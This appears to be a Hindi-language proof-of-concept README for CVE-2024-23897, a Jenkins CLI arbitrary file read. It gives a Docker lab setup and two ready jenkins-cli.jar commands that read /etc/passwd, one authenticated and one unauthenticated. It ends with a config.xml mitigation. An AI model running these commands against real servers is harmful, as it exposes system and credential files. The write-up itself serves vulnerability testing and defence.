
इस git पर आपको CVE-2024-23897 के बारे में सारी जानकारी मिल सकती है।
CVE पहचानकर्ता CVE-2024-23897 को सौंपी गई समस्या को अंतर्निहित कमांड लाइन इंटरफ़ेस के माध्यम से एक मनमानी फ़ाइल पढ़ने की कमजोरी के रूप में वर्णित किया गया है। इस कमांड पार्सर में एक विशेषता है जो किसी तर्क में फ़ाइल पथ के बाद @ वर्ण को फ़ाइल की सामग्री से बदल देती है (expandAtFiles)। यह सुविधा डिफ़ॉल्ट रूप से सक्षम है और Jenkins 2.441 और पुराने, LTS 2.426.2 और पुराने इसे अक्षम नहीं करते हैं।
इस PoC के लिए, मैंने कमजोरी के शोषण का परीक्षण करने के लिए Docker के साथ Jenkins 2.426.2 स्थापित किया है।
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
उपयोगकर्ता और पासवर्ड बनाने के बाद, मैंने अपनी हमलावर मशीन पर Jenkins CLI क्लाइंट (jenkins-cli.jar) डाउनलोड किया।
फिर, मैंने शोषण के लिए कमांड लिखा। इस कमांड में, हमें Jenkins उपयोगकर्ता के क्रेडेंशियल्स की आवश्यकता होती है।
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
एक और कमांड बिना प्रमाणीकरण के फ़ाइल की पहली पंक्तियाँ प्रदर्शित करने की अनुमति देता है।
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
इस कमजोरी का मुकाबला करने के लिए, आपको config.xml नामक Jenkins कॉन्फ़िगरेशन फ़ाइल पर जाना होगा (मेरे मामले में, यह मेरे Docker कंटेनर में स्थित है, इसलिए मैं अपने कंटेनर में शेल मोड पर स्विच करता हूँ)
<expandAtFiles>false</expandAtFiles>
और Jenkins को पुनरारंभ करें:
service jenkins restart